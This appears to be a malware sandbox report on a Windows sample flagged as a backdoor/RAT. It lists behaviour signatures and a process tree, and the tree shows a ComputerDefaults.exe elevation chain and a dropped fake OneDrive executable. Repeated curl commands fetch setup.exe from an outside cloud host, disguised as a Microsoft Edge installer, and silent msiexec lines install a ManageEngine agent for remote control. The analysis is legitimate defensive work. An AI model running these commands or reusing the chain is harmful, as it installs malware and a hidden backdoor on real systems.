Overview

overview

8

Static

static

3

ARPHADUMP.dll

windows10-2004-x64

8

ARPHADUMP.dll

windows11-ltsc_2024-x64

8

KBDMLT48.dll

windows10-2004-x64

3

UTR_8718-9-2026.exe

windows10-2004-x64

8

UTR_8718-9-2026.exe

windows11-ltsc_2024-x64

7

UTR_8718-9...cx.lnk

windows10-2004-x64

3

UTR_8718-9...cx.lnk

windows11-ltsc_2024-x64

3

bcrypt.dll

windows10-2004-x64

3

dpmodemx.dll

windows10-2004-x64

3

Analysis

  • max time kernel
    123s
  • max time network
    303s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/09/2026, 14:55

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    UTR_8718-9-2026.exe
  • Size 206KB
  • Sample260922-saqldagg73
  • SHA256 b2ee510d0b5012487dee143b459e4e2fcfb758960d3fe7ec4743552bc91be9e2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
backdoordiscoveryexecutionrat

Malware Config

Signatures

  • DCAgent remote management tool 2 IoCs

    DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

    backdoorrat
  • Modifies file permissions 1 TTPs 5 IoCs
    discovery
  • Downloads MZ/PE file 4 IoCs
  • Enumerates connected drives 3 TTPs 45 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 20 IoCs
    execution
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 12 IoCs
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 49 IoCs
  • Modifies registry class 24 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 63 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • cURL User-Agent 4 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\UTR_8718-9-2026.exe
    "C:\Users\Admin\AppData\Local\Temp\UTR_8718-9-2026.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4664
    • C:\Windows\SysWOW64\cmd.exe
      /c "C:\Windows\System32\ComputerDefaults.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2528
      • C:\Windows\SysWOW64\ComputerDefaults.exe
        C:\Windows\System32\ComputerDefaults.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5292
        • C:\Users\Public\WindowsApps\727274.DtSD\OneDrive.Sync.Service.WebSocketClient.exe
          "OneDrive.Sync.Service.WebSocketClient.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3540
          • C:\Windows\SysWOW64\cmd.exe
            /c "C:\Windows\System32\ComputerDefaults.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4584
            • C:\Windows\SysWOW64\ComputerDefaults.exe
              C:\Windows\System32\ComputerDefaults.exe
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3760
              • C:\ProgramData\OhtoNCwrLiVEQbHJmirdJpabWmlnktKd.SLV\syiiBpDFRSmcpqlemptFhJCGdzluqBWc.rvo.exe
                "syiiBpDFRSmcpqlemptFhJCGdzluqBWc.rvo.exe"
                7⤵
                • Enumerates connected drives
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:5888
          • C:\Windows\system32\curl.exe
            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
            5⤵
              PID:2768
            • C:\Windows\system32\curl.exe
              "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
              5⤵
                PID:3708
              • C:\Windows\system32\curl.exe
                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                5⤵
                • Downloads MZ/PE file
                PID:5316
              • C:\Windows\system32\curl.exe
                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                5⤵
                • Downloads MZ/PE file
                PID:4756
              • C:\Windows\system32\curl.exe
                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                5⤵
                • Downloads MZ/PE file
                PID:3956
              • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                5⤵
                • Executes dropped EXE
                • Modifies registry class
                • Suspicious use of WriteProcessMemory
                PID:1252
                • C:\Windows\System32\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"
                  6⤵
                  • Executes a VBScript file via the Windows Script Host.
                  • Suspicious use of WriteProcessMemory
                  PID:4284
                  • C:\Windows\System32\msiexec.exe
                    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"
                    7⤵
                    • Suspicious use of SetWindowsHookEx
                    PID:4160
              • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                5⤵
                • Executes dropped EXE
                • Modifies registry class
                • Suspicious use of WriteProcessMemory
                PID:1080
                • C:\Windows\System32\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX1\SetUP.VBS"
                  6⤵
                  • Executes a VBScript file via the Windows Script Host.
                  • Suspicious use of WriteProcessMemory
                  PID:5416
                  • C:\Windows\System32\msiexec.exe
                    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX1\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX1\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX1\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX1\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Agentinstalllog.txt"
                    7⤵
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of SetWindowsHookEx
                    PID:5732
              • C:\Windows\system32\curl.exe
                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                5⤵
                  PID:5452
                • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                  "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                  5⤵
                  • Executes dropped EXE
                  • Modifies registry class
                  • Suspicious use of WriteProcessMemory
                  PID:1784
                  • C:\Windows\System32\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX2\SetUP.VBS"
                    6⤵
                    • Executes a VBScript file via the Windows Script Host.
                    • Suspicious use of WriteProcessMemory
                    PID:3288
                    • C:\Windows\System32\msiexec.exe
                      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX2\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX2\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX2\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX2\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Agentinstalllog.txt"
                      7⤵
                      • Suspicious use of SetWindowsHookEx
                      PID:3248
                • C:\Windows\system32\curl.exe
                  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                  5⤵
                    PID:1720
                  • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                    "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                    5⤵
                    • Executes dropped EXE
                    • Modifies registry class
                    • Suspicious use of WriteProcessMemory
                    PID:5080
                    • C:\Windows\System32\WScript.exe
                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX3\SetUP.VBS"
                      6⤵
                      • Executes a VBScript file via the Windows Script Host.
                      • Suspicious use of WriteProcessMemory
                      PID:2544
                      • C:\Windows\System32\msiexec.exe
                        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX3\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX3\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX3\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX3\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX3\Agentinstalllog.txt"
                        7⤵
                        • Suspicious use of SetWindowsHookEx
                        PID:3904
                  • C:\Windows\system32\curl.exe
                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                    5⤵
                    • Downloads MZ/PE file
                    PID:912
                  • C:\Windows\system32\curl.exe
                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                    5⤵
                      PID:5796
                    • C:\Windows\system32\curl.exe
                      "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                      5⤵
                        PID:3512
                      • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                        5⤵
                          PID:4916
                          • C:\Windows\System32\WScript.exe
                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX4\SetUP.VBS"
                            6⤵
                            • Executes a VBScript file via the Windows Script Host.
                            PID:5100
                            • C:\Windows\System32\msiexec.exe
                              "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX4\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX4\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX4\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX4\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX4\Agentinstalllog.txt"
                              7⤵
                                PID:4592
                          • C:\Windows\system32\curl.exe
                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                            5⤵
                              PID:1656
                            • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                              "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                              5⤵
                                PID:4104
                                • C:\Windows\System32\WScript.exe
                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX5\SetUP.VBS"
                                  6⤵
                                  • Executes a VBScript file via the Windows Script Host.
                                  PID:2716
                                  • C:\Windows\System32\msiexec.exe
                                    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX5\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX5\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX5\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX5\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX5\Agentinstalllog.txt"
                                    7⤵
                                      PID:2992
                                • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                  "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                  5⤵
                                    PID:5744
                                    • C:\Windows\System32\WScript.exe
                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX6\SetUP.VBS"
                                      6⤵
                                      • Executes a VBScript file via the Windows Script Host.
                                      PID:120
                                      • C:\Windows\System32\msiexec.exe
                                        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX6\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX6\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX6\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX6\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX6\Agentinstalllog.txt"
                                        7⤵
                                          PID:4568
                                    • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                      "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                      5⤵
                                        PID:256
                                        • C:\Windows\System32\WScript.exe
                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX7\SetUP.VBS"
                                          6⤵
                                          • Executes a VBScript file via the Windows Script Host.
                                          PID:3772
                                          • C:\Windows\System32\msiexec.exe
                                            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX7\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX7\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX7\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX7\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX7\Agentinstalllog.txt"
                                            7⤵
                                              PID:4540
                                        • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                          "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                          5⤵
                                            PID:5072
                                            • C:\Windows\System32\WScript.exe
                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX8\SetUP.VBS"
                                              6⤵
                                              • Executes a VBScript file via the Windows Script Host.
                                              PID:3512
                                              • C:\Windows\System32\msiexec.exe
                                                "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX8\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX8\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX8\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX8\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX8\Agentinstalllog.txt"
                                                7⤵
                                                  PID:6092
                                            • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                              "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                              5⤵
                                                PID:3296
                                                • C:\Windows\System32\WScript.exe
                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX9\SetUP.VBS"
                                                  6⤵
                                                  • Executes a VBScript file via the Windows Script Host.
                                                  PID:5736
                                                  • C:\Windows\System32\msiexec.exe
                                                    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX9\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX9\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX9\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX9\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX9\Agentinstalllog.txt"
                                                    7⤵
                                                      PID:5532
                                                • C:\Windows\system32\curl.exe
                                                  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                  5⤵
                                                    PID:4168
                                                  • C:\Windows\system32\curl.exe
                                                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                    5⤵
                                                      PID:1408
                                                    • C:\Windows\system32\curl.exe
                                                      "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                      5⤵
                                                        PID:1128
                                                      • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                        5⤵
                                                          PID:1260
                                                          • C:\Windows\System32\WScript.exe
                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX10\SetUP.VBS"
                                                            6⤵
                                                            • Executes a VBScript file via the Windows Script Host.
                                                            PID:5576
                                                            • C:\Windows\System32\msiexec.exe
                                                              "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX10\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX10\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX10\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX10\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX10\Agentinstalllog.txt"
                                                              7⤵
                                                                PID:1808
                                                          • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                            5⤵
                                                              PID:4208
                                                              • C:\Windows\System32\WScript.exe
                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX11\SetUP.VBS"
                                                                6⤵
                                                                • Executes a VBScript file via the Windows Script Host.
                                                                PID:5640
                                                                • C:\Windows\System32\msiexec.exe
                                                                  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX11\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX11\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX11\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX11\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX11\Agentinstalllog.txt"
                                                                  7⤵
                                                                    PID:5856
                                                              • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                5⤵
                                                                  PID:2916
                                                                  • C:\Windows\System32\WScript.exe
                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX12\SetUP.VBS"
                                                                    6⤵
                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                    PID:3436
                                                                    • C:\Windows\System32\msiexec.exe
                                                                      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX12\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX12\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX12\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX12\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX12\Agentinstalllog.txt"
                                                                      7⤵
                                                                        PID:4924
                                                                  • C:\Windows\system32\curl.exe
                                                                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                    5⤵
                                                                      PID:1996
                                                                    • C:\Windows\system32\curl.exe
                                                                      "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                      5⤵
                                                                        PID:5664
                                                                      • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                        5⤵
                                                                          PID:1468
                                                                          • C:\Windows\System32\WScript.exe
                                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX13\SetUP.VBS"
                                                                            6⤵
                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                            PID:5624
                                                                            • C:\Windows\System32\msiexec.exe
                                                                              "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX13\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX13\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX13\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX13\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX13\Agentinstalllog.txt"
                                                                              7⤵
                                                                                PID:2672
                                                                          • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                            5⤵
                                                                              PID:1180
                                                                              • C:\Windows\System32\WScript.exe
                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX14\SetUP.VBS"
                                                                                6⤵
                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                PID:3812
                                                                                • C:\Windows\System32\msiexec.exe
                                                                                  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX14\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX14\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX14\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX14\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX14\Agentinstalllog.txt"
                                                                                  7⤵
                                                                                    PID:3972
                                                                              • C:\Windows\system32\curl.exe
                                                                                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                5⤵
                                                                                  PID:4156
                                                                                • C:\Windows\system32\curl.exe
                                                                                  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                  5⤵
                                                                                    PID:5348
                                                                                  • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" /S /norestart
                                                                                    5⤵
                                                                                      PID:1120
                                                                                      • C:\Windows\System32\WScript.exe
                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX15\SetUP.VBS"
                                                                                        6⤵
                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                        PID:4548
                                                                                        • C:\Windows\System32\msiexec.exe
                                                                                          "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX15\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX15\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX15\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX15\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX15\Agentinstalllog.txt"
                                                                                          7⤵
                                                                                            PID:4624
                                                                                      • C:\Windows\system32\curl.exe
